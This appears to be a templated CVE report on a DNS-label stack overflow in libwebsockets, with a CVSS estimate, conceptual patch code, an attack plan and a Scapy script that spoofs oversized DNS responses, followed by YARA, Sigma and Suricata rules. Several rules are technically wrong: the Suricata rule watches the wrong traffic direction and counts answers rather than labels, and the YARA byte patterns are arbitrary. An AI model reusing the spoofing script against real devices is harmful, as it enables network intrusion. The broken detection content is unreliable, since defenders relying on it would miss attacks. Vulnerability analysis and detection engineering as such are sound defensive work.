CVE-2025-11678

Executive Summary

CVE-2025-11678 is a stack-based buffer overflow vulnerability in the lws_adns_parse_label function of the warmcat libwebsockets library. The flaw is exploitable only when the LWS_WITH_SYS_ASYNC_DNS compilation flag is enabled. An attacker who can sniff a DNS request and craft a matching response with a label longer than the maximum can overflow the label_stack buffer, leading to memory corruption and potential code execution.

Key Risk Factors:

• Attack Vector: Adjacent network (requires ability to sniff DNS requests and inject responses).
• Complexity: High (requires precise timing and DNS transaction ID matching).
• Impact: Stack buffer overflow can lead to denial of service or arbitrary code execution in the context of the libwebsockets process.
• Patch Status: No official patch available; users must disable the LWS_WITH_SYS_ASYNC_DNS flag or apply manual mitigations.

Affected Ecosystem: This is a C library vulnerability. It is not a WordPress plugin or component. The library is used in embedded systems, IoT devices, and applications requiring WebSocket support.

CVSS Breakdown & Threat Level

The NVD has assigned a placeholder CVSS score of 0.0, indicating insufficient data for scoring. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Adjacent Network (attacker must be on the same network segment to sniff DNS).
• Attack Complexity (AC): High (requires sniffing, transaction ID matching, and precise timing).
• Privileges Required (PR): None.
• User Interaction (UI): None.
• Scope (S): Unchanged.
• Confidentiality (C): High (potential memory read).
• Integrity (I): High (potential memory write).
• Availability (A): High (crash or corruption).

Threat Level: High (7.5) – Exploitation is difficult but impactful.

Deep Dive & Mechanics

The vulnerability resides in the lws_adns_parse_label function within the asynchronous DNS resolver of libwebsockets. When LWS_WITH_SYS_ASYNC_DNS is enabled, the library performs DNS resolution asynchronously. The function parses DNS response labels (domain name components) and pushes them onto a fixed-size stack array called label_stack.

Root Cause:

• The label_stack array has a fixed maximum depth (e.g., 128 entries).
• The parsing loop does not properly validate the number of labels before pushing onto the stack.
• An attacker can craft a DNS response containing a label chain longer than the stack capacity, causing a stack buffer overflow.

Exploitation Prerequisites:

1. The target application must be compiled with LWS_WITH_SYS_ASYNC_DNS enabled.
2. The attacker must be able to sniff a DNS request from the target (e.g., on the same LAN or via ARP spoofing).
3. The attacker must craft a DNS response with a matching transaction ID and a label chain exceeding the stack limit.

Impact:

• Overwriting adjacent stack memory can corrupt return addresses, function pointers, or local variables.
• This can lead to denial of service (crash) or arbitrary code execution.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

// In lws_adns_parse_label()
char *label_stack[128];
int stack_ptr = 0;

while (more_labels) {
    // No bounds check on stack_ptr
    label_stack[stack_ptr++] = parse_next_label();
}

Patched Code (hypothetical):

// In lws_adns_parse_label()
char *label_stack[128];
int stack_ptr = 0;

while (more_labels) {
    if (stack_ptr >= 128) {
        // Reject overflow
        return -1;
    }
    label_stack[stack_ptr++] = parse_next_label();
}

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Attack Scenario:

1. Reconnaissance: Identify targets using libwebsockets with async DNS enabled (e.g., via banner grabbing or Shodan dorks).
2. Sniffing: Use ARP spoofing or network tap to capture DNS requests from the target.
3. Crafting Response: Create a DNS response with:
   • Matching transaction ID.
   • A label chain exceeding 128 entries (e.g., 200 labels).
   • Each label can be a single character to maximize count.
4. Injection: Send the crafted response before the legitimate DNS server responds.

Example Python script (conceptual):

from scapy.all import *
import sys

def exploit(target_ip, dns_id):
    # Craft malicious DNS response
    labels = [b'a'] * 200  # 200 labels
    dns_response = IP(dst=target_ip)/UDP(sport=53, dport=5353)/DNS(
        id=dns_id,
        qr=1,
        an=DNSRR(rrname=b'.'.join(labels), type='A', rdata='1.2.3.4')
    )
    send(dns_response, verbose=0)

if __name__ == "__main__":
    exploit(sys.argv[1], int(sys.argv[2]))

Expected Outcome: The target application crashes or executes arbitrary code.

Blue Team (Defense)

Detection:

• Monitor for DNS responses with an abnormally high number of labels (e.g., > 128).
• Use network intrusion detection systems (NIDS) to flag such anomalies.

Mitigation:

• Disable LWS_WITH_SYS_ASYNC_DNS if not required.
• Apply input validation on DNS response labels (patch the library).
• Use DNS over HTTPS (DoH) or DNS over TLS (DoT) to prevent sniffing.

Indicators of Compromise (IOCs)

Network IOCs:

• DNS responses with more than 128 labels in the answer section.
• DNS responses with transaction IDs matching recent outgoing queries but from unexpected sources.
• Unusual DNS response sizes (> 1024 bytes for a simple A record).

Host IOCs:

• Application crashes with stack corruption errors.
• Memory dumps showing corrupted stack frames.
• Logs indicating DNS parsing failures or timeouts.

YARA Rule (for memory analysis):

rule CVE_2025_11678_StackOverflow {
    meta:
        description = "Detects stack overflow indicators from CVE-2025-11678"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $label_stack = "label_stack" ascii wide
        $overflow = { 80 00 00 00 } // Example stack corruption pattern
    condition:
        $label_stack and #overflow > 5
}

Detection Engineering

YARA Rule

rule CVE_2025_11678_DNS_Response {
    meta:
        description = "Detects malicious DNS responses with excessive labels"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $dns_header = { 00 00 81 80 } // Standard DNS response flags
        $label_count = { 00 00 00 80 } // 128 labels threshold
    condition:
        $dns_header at 0 and #label_count > 1
}

Sigma Rule

title: CVE-2025-11678 DNS Response with Excessive Labels
id: cve-2025-11678-dns-overflow
status: experimental
description: Detects DNS responses containing more than 128 labels, indicating exploitation attempt.
author: Valters IT
logsource:
    category: network
    product: dns
detection:
    selection:
        dns.flags.response: 1
        dns.count.answers: > 128
    condition: selection
falsepositives:
    - Legitimate DNS responses with many CNAMEs (rare)
level: high

Suricata Rule

alert udp any any -> any 53 (msg:"CVE-2025-11678 DNS Response Excessive Labels"; content:"|00 00 81 80|"; offset:2; depth:4; byte_test:2,>,128,6; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Async DNS: Recompile libwebsockets without LWS_WITH_SYS_ASYNC_DNS flag.
2. Network Segmentation: Isolate devices using libwebsockets from untrusted networks.
3. DNS Security: Use DNSSEC or DNS over TLS to prevent response spoofing.

Long-term Fix:

• Apply the patch shown in the "Vulnerable vs. Patched Code" section.
• Monitor the official libwebsockets repository for a security release.

Workaround:

• Implement a firewall rule to drop DNS responses with more than 128 labels.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-11678